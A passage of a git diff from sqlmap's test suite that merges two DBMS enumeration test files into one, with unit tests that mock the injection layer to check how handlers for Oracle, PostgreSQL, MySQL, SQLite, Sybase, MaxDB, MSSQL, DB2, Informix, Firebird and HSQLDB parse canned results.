_EnumBaseMSSQL(unittest.TestCase): """Snapshot/restore the global state these enumerators mutate.""" module = None # the enumeration module whose inject.getValue we patch @@ -45,7 +60,7 @@ class _EnumBase(unittest.TestCase): kb.data.cachedColumns = self._cachedColumns -class TestMSSQLServerEnum(_EnumBase): +class TestMSSQLServerEnum(_EnumBaseMSSQL): import plugins.dbms.mssqlserver.enumeration as module def _handler(self): @@ -94,5 +109,614 @@ class TestMSSQLServerEnum(_EnumBase): self.assertEqual(tables["salesdb"], ["dbo.invoices", "dbo.orders"]) +# --------------------------------------------------------------------------- +# Base for Oracle/PostgreSQL/MySQL/SQLite (former test_dbms_enum_a.py) +# --------------------------------------------------------------------------- + +class _EnumBaseA(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate. + + Other tests in the suite depend on clean globals (a leaked kb.hintValue + breaks test_inference_engine; a leaked forced DBMS breaks others), so every + knob touched here is captured in setUp and put back in tearDown. + """ + + # the enumeration module whose inject.getValue we patch (overridden per DBMS) + module = None + + def setUp(self): + # conf knobs + self._direct = conf.direct + self._batch = conf.batch + self._user = conf.user + self._db = conf.get("db") + self._tbl = conf.get("tbl") + self._exclude = conf.get("exclude") + + # injection layer (some override modules - e.g. SQLite/PostgreSQL - do not + # import inject because their overrides return constants without querying) + self._has_inject = hasattr(self.module, "inject") + if self._has_inject: + self._gv = self.module.inject.getValue + + # kb.data cached* containers + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._cachedDbs = kb.data.get("cachedDbs") + self._cachedUsers = kb.data.get("cachedUsers") + self._cachedUsersRoles = kb.data.get("cachedUsersRoles") + self._cachedUsersPrivileges = kb.data.get("cachedUsersPrivileges") + self._has_information_schema = kb.data.get("has_information_schema") + + # state other tests are sensitive to + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._forcedDbms = Backend.getForcedDbms() + self._stickyDBMS = kb.stickyDBMS + + # avoid readInput EOFError flakiness and interactive prompts + conf.direct = True + conf.batch = True + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.user = self._user + conf.db = self._db + conf.tbl = self._tbl + conf.exclude = self._exclude + + if self._has_inject: + self.module.inject.getValue = self._gv + + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + kb.data.cachedDbs = self._cachedDbs + kb.data.cachedUsers = self._cachedUsers + kb.data.cachedUsersRoles = self._cachedUsersRoles + kb.data.cachedUsersPrivileges = self._cachedUsersPrivileges + kb.data.has_information_schema = self._has_information_schema + + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.stickyDBMS = self._stickyDBMS + if self._forcedDbms is not None: + Backend.forceDbms(self._forcedDbms) + else: + kb.forcedDbms = None + + +class TestOracleEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.oracle.enumeration") + + def _handler(self): + from plugins.dbms.oracle import OracleMap + set_dbms("Oracle") + return OracleMap() + + def test_get_roles(self): + # rows are [GRANTEE, GRANTED_ROLE]; first column is the user, the rest roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["SYS", "DBA"], ["SYS", "CONNECT"], ["SCOTT", "RESOURCE"] + ] + roles, areAdmins = self._handler().getRoles() + self.assertIn("SYS", roles) + self.assertIn("SCOTT", roles) + self.assertEqual(set(roles["SYS"]), {"DBA", "CONNECT"}) + # DBA implies administrator + self.assertIn("SYS", areAdmins) + + def test_get_roles_filtered_by_user(self): + # conf.user populates a WHERE clause; canned rows still drive the parse + conf.user = "SCOTT" + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [["SCOTT", "RESOURCE"]] + roles, _ = self._handler().getRoles() + self.assertEqual(list(roles.keys()), ["SCOTT"]) + self.assertEqual(roles["SCOTT"], ["RESOURCE"]) + + def test_get_roles_multiple_roles_per_user(self): + # a user appearing across several rows accumulates all granted roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["APP", "CONNECT"], ["APP", "RESOURCE"], ["APP", "CREATE SESSION"] + ] + roles, _ = self._handler().getRoles() + self.assertEqual( + set(roles["APP"]), {"CONNECT", "RESOURCE", "CREATE SESSION"} + ) + + +class TestPostgreSQLEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.postgresql.enumeration") + + def _handler(self): + from plugins.dbms.postgresql import PostgreSQLMap + set_dbms("PostgreSQL") + return PostgreSQLMap() + + def test_get_hostname_unsupported(self): + # PostgreSQL overrides getHostname purely to warn; it returns None + self.assertIsNone(self._handler().getHostname()) + + +class TestMySQLEnum(_EnumBaseA): + # MySQL's enumeration.py adds no overrides (it is a bare `pass`); cover the + # generic discovery path through the full MySQL handler instead. + module = importlib.import_module("plugins.generic.enumeration") + + def _handler(self): + from plugins.dbms.mysql import MySQLMap + set_dbms("MySQL") + return MySQLMap() + + def test_get_dbs(self): + conf.db = None + kb.data.cachedDbs = [] + kb.data.has_information_schema = True + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT + else [["information_schema"], ["testdb"], ["mysql"]] + ) + dbs = self._handler().getDbs() + self.assertIn("testdb", dbs) + self.assertEqual(set(kb.data.cachedDbs), set(dbs)) + + +class TestSQLiteEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.sqlite.enumeration") + + def _handler(self): + from plugins.dbms.sqlite import SQLiteMap + set_dbms("SQLite") + return SQLiteMap() + + def test_unsupported_simple_overrides(self): + # SQLite overrides these to a warning + an empty/neutral return value + h = self._handler() + self.assertIsNone(h.getCurrentUser()) + self.assertIsNone(h.getCurrentDb()) + self.assertIsNone(h.getHostname()) + self.assertEqual(h.getUsers(), []) + self.assertEqual(h.getDbs(), []) + self.assertEqual(h.searchDb(), []) + self.assertEqual(h.getStatements(), []) + self.assertEqual(h.getPasswordHashes(), {}) + self.assertEqual(h.getPrivileges(), {}) + + def test_is_dba_always_true(self): + # on SQLite the current user is treated as having all privileges + self.assertTrue(self._handler().isDba()) + + def test_search_column_raises(self): + with self.assertRaises(SqlmapUnsupportedFeatureException): + self._handler().searchColumn() + + +# --------------------------------------------------------------------------- +# Base + helpers for Sybase/MaxDB/MSSQL extra/DB2/Informix/Firebird/HSQLDB +# (former test_dbms_enum_b.py) +# --------------------------------------------------------------------------- + +def _fresh_cached(): + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedUsers = [] + kb.data.cachedUsersPrivileges = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.banner = None + + +class _NoOpDumper(object): + """Swallow every dumper call so search methods don't emit/prompt.""" + + def __getattr__(self, name): + return lambda *a, **k: None + + +def _handler(display_name, dirname): + """Instantiate the full *Map handler for the given DBMS.""" + set_dbms(display_name) + main = importlib.import_module("plugins.dbms.%s" % dirname) + cls = [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + return cls() + + +class _EnumBaseB(unittest.TestCase): + """Snapshot/restore every global these enumerators mutate.""" + + # subclasses set these + display_name = None + dirname = None + + def setUp(self): + # config snapshot + self._direct = conf.direct + self._batch = conf.batch + self._db = conf.db + self._tbl = conf.tbl + self._col = conf.col + self._user = conf.user + self._exclude = conf.exclude + self._search = conf.search + self._getBanner = conf.getBanner + self._excludeSysDbs = conf.excludeSysDbs + self._dumper = conf.get("dumper") + + # kb snapshot + self._cached = {k: kb.data.get(k) for k in ( + "cachedDbs", "cachedTables", "cachedColumns", "cachedUsers", + "cachedUsersPrivileges", "cachedCounts", "cachedStatements", "banner", + )} + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._currentDb = kb.data.get("currentDb") + self._hasIS = kb.data.get("has_information_schema") + + # injection layer snapshot + self._gv = inject.getValue + self._cbe = getattr(inject, "checkBooleanExpression", None) + + # baseline config the in-band/non-interactive paths need + conf.direct = True + conf.batch = True + kb.data.has_information_schema = True + _fresh_cached() + + # restore the chosen DBMS for every test + self.handler = _handler(self.display_name, self.dirname) + # the enumeration module whose pivotDumpTable some tests stub + self.em = importlib.import_module("plugins.dbms.%s.enumeration" % self.dirname) + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.db = self._db + conf.tbl = self._tbl + conf.col = self._col + conf.user = self._user + conf.exclude = self._exclude + conf.search = self._search + conf.getBanner = self._getBanner + conf.excludeSysDbs = self._excludeSysDbs + conf.dumper = self._dumper + + for k, v in self._cached.items(): + kb.data[k] = v + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.data.currentDb = self._currentDb + kb.data.has_information_schema = self._hasIS + + inject.getValue = self._gv + if self._cbe is not None: + inject.checkBooleanExpression = self._cbe + if hasattr(self.em, "pivotDumpTable"): + # restore the pristine reference from the wrapper module + import lib.utils.pivotdumptable as _pdt + self.em.pivotDumpTable = _pdt.pivotDumpTable + + +# --------------------------------------------------------------------------- +# Sybase +# --------------------------------------------------------------------------- + +class TestSybaseEnum(_EnumBaseB): + display_name = "Sybase" + dirname = "sybase" + + def _pivot(self, *value_lists): + """Make em.pivotDumpTable return canned (entries, lengths) per call. + + Each successive call pops the next mapping of {colName: [values]}. + """ + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_users(self): + self._pivot({"name": ["sa", "guest"]}) + users = self.handler.getUsers() + self.assertIn("sa", users) + self.assertIn("guest", users) + + def test_get_dbs(self): + self._pivot({"name": ["master", "model"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["master", "model"]) + + def test_get_tables(self): + conf.db = "testdb" + self._pivot({"name": ["users", "logs"]}) + tables = self.handler.getTables() + self.assertIn("testdb", tables) + self.assertEqual(sorted(tables["testdb"]), ["logs", "users"]) + + def test_get_columns(self): + conf.db = "testdb" + conf.tbl = "users" + # column pivot returns name + usertype: REAL Sybase numeric type ids that + # getColumns resolves through SYBASE_TYPES (7 -> "int", 2 -> "varchar"). + from lib.core.dicts import SYBASE_TYPES + self._pivot({"name": ["id", "name"], "usertype": ["7", "2"]}) + cols = self.handler.getColumns() + self.assertIn("testdb", cols) + # table key is identifier-normalized (may be schema-qualified) + tbls = cols["testdb"] + self.assertTrue(any("users" in t for t in tbls)) + colset = list(tbls.values())[0] + # the VALUE is the resolved type name, not the raw usertype number: + # proves the SYBASE_TYPES numeric->name mapping actually ran. + self.assertEqual(colset["id"], SYBASE_TYPES[7]) # "int" + self.assertEqual(colset["name"], SYBASE_TYPES[2]) # "varchar" + + def test_get_privileges(self): + # getPrivileges -> getUsers (pivot) then isDba (checkBooleanExpression). + # Drive the admin-set branch BOTH ways via the isDba oracle so the result + # is not forced by a constant-True stub. + conf.user = None + + # oracle True: every user is flagged DBA -> admins == all users + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) # users still enumerated as privilege keys + self.assertIn("guest", privs) + self.assertEqual(admins, set(["sa", "guest"])) + + # oracle False: nobody is a DBA -> admins is empty, but users still listed + _fresh_cached() + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_not_implemented(self): + # these intentionally return [] with a warning on Sybase + self.assertEqual(self.handler.searchDb(), []) + self.assertEqual(self.handler.searchTable(), []) + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_hostname(self): + # not possible on Sybase; just must not raise + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# SAP MaxDB +# --------------------------------------------------------------------------- + +class TestMaxDBEnum(_EnumBaseB): + display_name = "SAP MaxDB" + dirname = "maxdb" + + def _pivot(self, *value_lists): + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_dbs(self): + self._pivot({"schemaname": ["SYSTEM", "DOMAIN"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["DOMAIN", "SYSTEM"]) + + def test_get_tables(self): + conf.db = "SYSTEM" + self._pivot({"tablename": ["USERS", "TABLES"]}) + tables = self.handler.getTables() + # db key is identifier-normalized (uppercase names get quoted) + self.assertEqual(len(tables), 1) + tbls = list(tables.values())[0] + self.assertEqual(sorted(tbls), ["TABLES", "USERS"]) + + def test_get_columns(self): + conf.db = "SYSTEM" + conf.tbl = "USERS" + self._pivot({ + "columnname": ["ID", "NAME"], + "datatype": ["INTEGER", "CHAR"], + "len": ["4", "32"], + }) + cols = self.handler.getColumns() + self.assertEqual(len(cols), 1) + tbls = list(cols.values())[0] + self.assertIn("USERS", tbls) + self.assertEqual(tbls["USERS"]["ID"], "INTEGER(4)") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Microsoft SQL Server (methods NOT covered by TestMSSQLServerEnum above) +# --------------------------------------------------------------------------- + +class TestMSSQLServerExtraEnum(_EnumBaseB): + display_name = "Microsoft SQL Server" + dirname = "mssqlserver" + + def test_get_privileges(self): + # getPrivileges -> getUsers (generic, inject.getValue) then isDba. + # Exercise the admin-set branch BOTH ways via the isDba oracle. + conf.user = None + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + + # oracle True: all users flagged DBA + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set(["sa", "BUILTIN\\Administrators"])) + + # oracle False: none are DBA -> empty admin set, users still enumerated + _fresh_cached() + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_table(self): + conf.db = "testdb" + conf.tbl = "users" + # in-band branch: getValue returns matching table name(s) + inject.getValue = lambda q, *a, **k: ["users"] + # capture the discovered tables instead of dumping them + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundTables = lambda tables: captured.update(tables) + self.handler.searchTable() + # at least one database mapped to the matched table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + def test_search_column(self): + conf.db = "testdb" + conf.tbl = None + conf.col = "password" + # exact match (no wildcard) so no recursive getColumns call; + # getValue returns the tables that contain the column + inject.getValue = lambda q, *a, **k: ["users"] + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundColumn = lambda dbs, foundCols, colConsider: captured.update(dbs) + self.handler.searchColumn() + # the searched column was located in at least one table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + +# --------------------------------------------------------------------------- +# IBM DB2 +# --------------------------------------------------------------------------- + +class TestDB2Enum(_EnumBaseB): + display_name = "IBM DB2" + dirname = "db2" + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Informix +# --------------------------------------------------------------------------- + +class TestInformixEnum(_EnumBaseB): + display_name = "Informix" + dirname = "informix" + + def test_search_db(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_search_table(self): + self.assertEqual(self.handler.searchTable(), []) + + def test_search_column(self): + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Firebird +# --------------------------------------------------------------------------- + +class TestFirebirdEnum(_EnumBaseB): + display_name = "Firebird" + dirname = "firebird" + + def test_get_dbs_empty(self): + self.assertEqual(self.handler.getDbs(), []) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_search_db_empty(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# HSQLDB +# --------------------------------------------------------------------------- + +class TestHSQLDBEnum(_EnumBaseB): + display_name = "HSQLDB" + dirname = "hsqldb" + + def test_get_banner(self): + conf.getBanner = True + kb.data.banner = None + # getValue returns a single-element LIST; getBanner pipes it through + # unArrayizeValue, which must unwrap it to the scalar banner string. + inject.getValue = lambda q, *a, **k: ["HSQLDB 2.5.1"] + banner = self.handler.getBanner() + self.assertEqual(banner, "HSQLDB 2.5.1") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + def test_get_current_db_default_schema(self): + from lib.core.settings import HSQLDB_DEFAULT_SCHEMA + self.assertEqual(self.handler.getCurrentDb(), HSQLDB_DEFAULT_SCHEMA) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_dbms_enum_a.py b/tests/test_dbms_enum_a.py deleted file mode 100644 index 4c9948fd1..000000000 --- a/tests/test_dbms_enum_a.py +++ /dev/null @@ -1,215 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -DBMS-specific enumeration overrides for Oracle, PostgreSQL, MySQL and SQLite -(plugins/dbms//enumeration.py), driven through each full DBMS handler with -the injection layer mocked, so the dialect-specific discovery paths run without a -live target. The in-band (UNION/error/direct) branch is taken via conf.direct=True -and inject.getValue is stubbed with canned result rows. - -Companion to tests/test_dbms_enum.py (which covers Microsoft SQL Server). -""" - -import importlib -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms -bootstrap() - -from lib.core.common import Backend -from lib.core.data import conf, kb -from lib.core.enums import EXPECTED -from lib.core.exception import SqlmapUnsupportedFeatureException - - -class _EnumBase(unittest.TestCase): - """Snapshot/restore the global state these enumerators mutate. - - Other tests in the suite depend on clean globals (a leaked kb.hintValue - breaks test_inference_engine; a leaked forced DBMS breaks others), so every - knob touched here is captured in setUp and put back in tearDown. - """ - - # the enumeration module whose inject.getValue we patch (overridden per DBMS) - module = None - - def setUp(self): - # conf knobs - self._direct = conf.direct - self._batch = conf.batch - self._user = conf.user - self._db = conf.get("db") - self._tbl = conf.get("tbl") - self._exclude = conf.get("exclude") - - # injection layer (some override modules - e.g. SQLite/PostgreSQL - do not - # import inject because their overrides return constants without querying) - self._has_inject = hasattr(self.module, "inject") - if self._has_inject: - self._gv = self.module.inject.getValue - - # kb.data cached* containers - self._cachedTables = kb.data.get("cachedTables") - self._cachedColumns = kb.data.get("cachedColumns") - self._cachedDbs = kb.data.get("cachedDbs") - self._cachedUsers = kb.data.get("cachedUsers") - self._cachedUsersRoles = kb.data.get("cachedUsersRoles") - self._cachedUsersPrivileges = kb.data.get("cachedUsersPrivileges") - self._has_information_schema = kb.data.get("has_information_schema") - - # state other tests are sensitive to - self._hintValue = kb.hintValue - self._injectionData = kb.injection.data - self._forcedDbms = Backend.getForcedDbms() - self._stickyDBMS = kb.stickyDBMS - - # avoid readInput EOFError flakiness and interactive prompts - conf.direct = True - conf.batch = True - - def tearDown(self): - conf.direct = self._direct - conf.batch = self._batch - conf.user = self._user - conf.db = self._db - conf.tbl = self._tbl - conf.exclude = self._exclude - - if self._has_inject: - self.module.inject.getValue = self._gv - - kb.data.cachedTables = self._cachedTables - kb.data.cachedColumns = self._cachedColumns - kb.data.cachedDbs = self._cachedDbs - kb.data.cachedUsers = self._cachedUsers - kb.data.cachedUsersRoles = self._cachedUsersRoles - kb.data.cachedUsersPrivileges = self._cachedUsersPrivileges - kb.data.has_information_schema = self._has_information_schema - - kb.hintValue = self._hintValue - kb.injection.data = self._injectionData - kb.stickyDBMS = self._stickyDBMS - if self._forcedDbms is not None: - Backend.forceDbms(self._forcedDbms) - else: - kb.forcedDbms = None - - -class TestOracleEnum(_EnumBase): - module = importlib.import_module("plugins.dbms.oracle.enumeration") - - def _handler(self): - from plugins.dbms.oracle import OracleMap - set_dbms("Oracle") - return OracleMap() - - def test_get_roles(self): - # rows are [GRANTEE, GRANTED_ROLE]; first column is the user, the rest roles - conf.user = None - kb.data.cachedUsersRoles = {} - self.module.inject.getValue = lambda q, *a, **k: [ - ["SYS", "DBA"], ["SYS", "CONNECT"], ["SCOTT", "RESOURCE"] - ] - roles, areAdmins = self._handler().getRoles() - self.assertIn("SYS", roles) - self.assertIn("SCOTT", roles) - self.assertEqual(set(roles["SYS"]), {"DBA", "CONNECT"}) - # DBA implies administrator - self.assertIn("SYS", areAdmins) - - def test_get_roles_filtered_by_user(self): - # conf.user populates a WHERE clause; canned rows still drive the parse - conf.user = "SCOTT" - kb.data.cachedUsersRoles = {} - self.module.inject.getValue = lambda q, *a, **k: [["SCOTT", "RESOURCE"]] - roles, _ = self._handler().getRoles() - self.assertEqual(list(roles.keys()), ["SCOTT"]) - self.assertEqual(roles["SCOTT"], ["RESOURCE"]) - - def test_get_roles_multiple_roles_per_user(self): - # a user appearing across several rows accumulates all granted roles - conf.user = None - kb.data.cachedUsersRoles = {} - self.module.inject.getValue = lambda q, *a, **k: [ - ["APP", "CONNECT"], ["APP", "RESOURCE"], ["APP", "CREATE SESSION"] - ] - roles, _ = self._handler().getRoles() - self.assertEqual( - set(roles["APP"]), {"CONNECT", "RESOURCE", "CREATE SESSION"} - ) - - -class TestPostgreSQLEnum(_EnumBase): - module = importlib.import_module("plugins.dbms.postgresql.enumeration") - - def _handler(self): - from plugins.dbms.postgresql import PostgreSQLMap - set_dbms("PostgreSQL") - return PostgreSQLMap() - - def test_get_hostname_unsupported(self): - # PostgreSQL overrides getHostname purely to warn; it returns None - self.assertIsNone(self._handler().getHostname()) - - -class TestMySQLEnum(_EnumBase): - # MySQL's enumeration.py adds no overrides (it is a bare `pass`); cover the - # generic discovery path through the full MySQL handler instead. - module = importlib.import_module("plugins.generic.enumeration") - - def _handler(self): - from plugins.dbms.mysql import MySQLMap - set_dbms("MySQL") - return MySQLMap() - - def test_get_dbs(self): - conf.db = None - kb.data.cachedDbs = [] - kb.data.has_information_schema = True - self.module.inject.getValue = lambda q, *a, **k: ( - 3 if k.get("expected") == EXPECTED.INT - else [["information_schema"], ["testdb"], ["mysql"]] - ) - dbs = self._handler().getDbs() - self.assertIn("testdb", dbs) - self.assertEqual(set(kb.data.cachedDbs), set(dbs)) - - -class TestSQLiteEnum(_EnumBase): - module = importlib.import_module("plugins.dbms.sqlite.enumeration") - - def _handler(self): - from plugins.dbms.sqlite import SQLiteMap - set_dbms("SQLite") - return SQLiteMap() - - def test_unsupported_simple_overrides(self): - # SQLite overrides these to a warning + an empty/neutral return value - h = self._handler() - self.assertIsNone(h.getCurrentUser()) - self.assertIsNone(h.getCurrentDb()) - self.assertIsNone(h.getHostname()) - self.assertEqual(h.getUsers(), []) - self.assertEqual(h.getDbs(), []) - self.assertEqual(h.searchDb(), []) - self.assertEqual(h.getStatements(), []) - self.assertEqual(h.getPasswordHashes(), {}) - self.assertEqual(h.getPrivileges(), {}) - - def test_is_dba_always_true(self): - # on SQLite the current user is treated as having all privileges - self.assertTrue(self._handler().isDba()) - - def test_search_column_raises(self): - with self.assertRaises(SqlmapUnsupportedFeatureException): - self._handler().searchColumn() - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_dbms_enum_b.py b/tests/test_dbms_enum_b.py deleted file mode 100644 index b0622366d..000000000 --- a/tests/test_dbms_enum_b.py +++ /dev/null @@ -1,469 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Second batch of DBMS-specific enumeration override tests (companion to -tests/test_dbms_enum.py, which covers Microsoft SQL Server getTables). - -Each test drives a FULL per-DBMS handler (the *Map class in -plugins/dbms//__init__.py) with the injection layer mocked, so the -dialect-specific table/column/user/privilege discovery paths run without a live -target, network, or DBMS. The in-band (UNION/error/direct) branch is taken via -conf.direct=True; conf.batch=True avoids interactive prompts. - -Covered here: - * Sybase - getUsers, getDbs, getTables, getColumns, getPrivileges, - searchDb/searchTable/searchColumn, getHostname, getStatements - * SAP MaxDB - getDbs, getTables, getColumns, getPrivileges, - getPasswordHashes, getHostname, getStatements - * Microsoft SQL Server - getPrivileges, searchTable, searchColumn - (getTables already covered by test_dbms_enum.py) - * IBM DB2 - getPasswordHashes, getStatements - * Informix - searchDb, searchTable, searchColumn, getStatements - * Firebird - getDbs, getPasswordHashes, searchDb, getHostname, getStatements - * HSQLDB - getBanner, getPrivileges, getHostname, getStatements, - getCurrentDb - -Sybase/MaxDB enumeration goes through lib.utils.pivotdumptable.pivotDumpTable -(imported into the module namespace), so for those we mock that wrapper - it is -part of the same data-retrieval layer - and mock inject.getValue elsewhere. - -stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. -""" - -import importlib -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms -bootstrap() - -from lib.core.data import conf, kb -from lib.core.common import Backend -from lib.core.enums import EXPECTED -from lib.request import inject - - -def _fresh_cached(): - kb.data.cachedDbs = [] - kb.data.cachedTables = {} - kb.data.cachedColumns = {} - kb.data.cachedUsers = [] - kb.data.cachedUsersPrivileges = {} - kb.data.cachedCounts = {} - kb.data.cachedStatements = [] - kb.data.banner = None - - -class _NoOpDumper(object): - """Swallow every dumper call so search methods don't emit/prompt.""" - - def __getattr__(self, name): - return lambda *a, **k: None - - -def _handler(display_name, dirname): - """Instantiate the full *Map handler for the given DBMS.""" - set_dbms(display_name) - main = importlib.import_module("plugins.dbms.%s" % dirname) - cls = [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] - return cls() - - -class _EnumBase(unittest.TestCase): - """Snapshot/restore every global these enumerators mutate.""" - - # subclasses set these - display_name = None - dirname = None - - def setUp(self): - # config snapshot - self._direct = conf.direct - self._batch = conf.batch - self._db = conf.db - self._tbl = conf.tbl - self._col = conf.col - self._user = conf.user - self._exclude = conf.exclude - self._search = conf.search - self._getBanner = conf.getBanner - self._excludeSysDbs = conf.excludeSysDbs - self._dumper = conf.get("dumper") - - # kb snapshot - self._cached = {k: kb.data.get(k) for k in ( - "cachedDbs", "cachedTables", "cachedColumns", "cachedUsers", - "cachedUsersPrivileges", "cachedCounts", "cachedStatements", "banner", - )} - self._hintValue = kb.hintValue - self._injectionData = kb.injection.data - self._currentDb = kb.data.get("currentDb") - self._hasIS = kb.data.get("has_information_schema") - - # injection layer snapshot - self._gv = inject.getValue - self._cbe = getattr(inject, "checkBooleanExpression", None) - - # baseline config the in-band/non-interactive paths need - conf.direct = True - conf.batch = True - kb.data.has_information_schema = True - _fresh_cached() - - # restore the chosen DBMS for every test - self.handler = _handler(self.display_name, self.dirname) - # the enumeration module whose pivotDumpTable some tests stub - self.em = importlib.import_module("plugins.dbms.%s.enumeration" % self.dirname) - - def tearDown(self): - conf.direct = self._direct - conf.batch = self._batch - conf.db = self._db - conf.tbl = self._tbl - conf.col = self._col - conf.user = self._user - conf.exclude = self._exclude - conf.search = self._search - conf.getBanner = self._getBanner - conf.excludeSysDbs = self._excludeSysDbs - conf.dumper = self._dumper - - for k, v in self._cached.items(): - kb.data[k] = v - kb.hintValue = self._hintValue - kb.injection.data = self._injectionData - kb.data.currentDb = self._currentDb - kb.data.has_information_schema = self._hasIS - - inject.getValue = self._gv - if self._cbe is not None: - inject.checkBooleanExpression = self._cbe - if hasattr(self.em, "pivotDumpTable"): - # restore the pristine reference from the wrapper module - import lib.utils.pivotdumptable as _pdt - self.em.pivotDumpTable = _pdt.pivotDumpTable - - -# --------------------------------------------------------------------------- -# Sybase -# --------------------------------------------------------------------------- - -class TestSybaseEnum(_EnumBase): - display_name = "Sybase" - dirname = "sybase" - - def _pivot(self, *value_lists): - """Make em.pivotDumpTable return canned (entries, lengths) per call. - - Each successive call pops the next mapping of {colName: [values]}. - """ - calls = list(value_lists) - - def fake(table, colList, count=None, blind=True, alias=None): - mapping = calls.pop(0) if calls else {} - entries = {} - lengths = {} - for col in colList: - vals = mapping.get(col.split(".")[-1], []) - entries[col] = list(vals) - lengths[col] = 0 - return entries, lengths - - self.em.pivotDumpTable = fake - - def test_get_users(self): - self._pivot({"name": ["sa", "guest"]}) - users = self.handler.getUsers() - self.assertIn("sa", users) - self.assertIn("guest", users) - - def test_get_dbs(self): - self._pivot({"name": ["master", "model"]}) - dbs = self.handler.getDbs() - self.assertEqual(sorted(dbs), ["master", "model"]) - - def test_get_tables(self): - conf.db = "testdb" - self._pivot({"name": ["users", "logs"]}) - tables = self.handler.getTables() - self.assertIn("testdb", tables) - self.assertEqual(sorted(tables["testdb"]), ["logs", "users"]) - - def test_get_columns(self): - conf.db = "testdb" - conf.tbl = "users" - # column pivot returns name + usertype: REAL Sybase numeric type ids that - # getColumns resolves through SYBASE_TYPES (7 -> "int", 2 -> 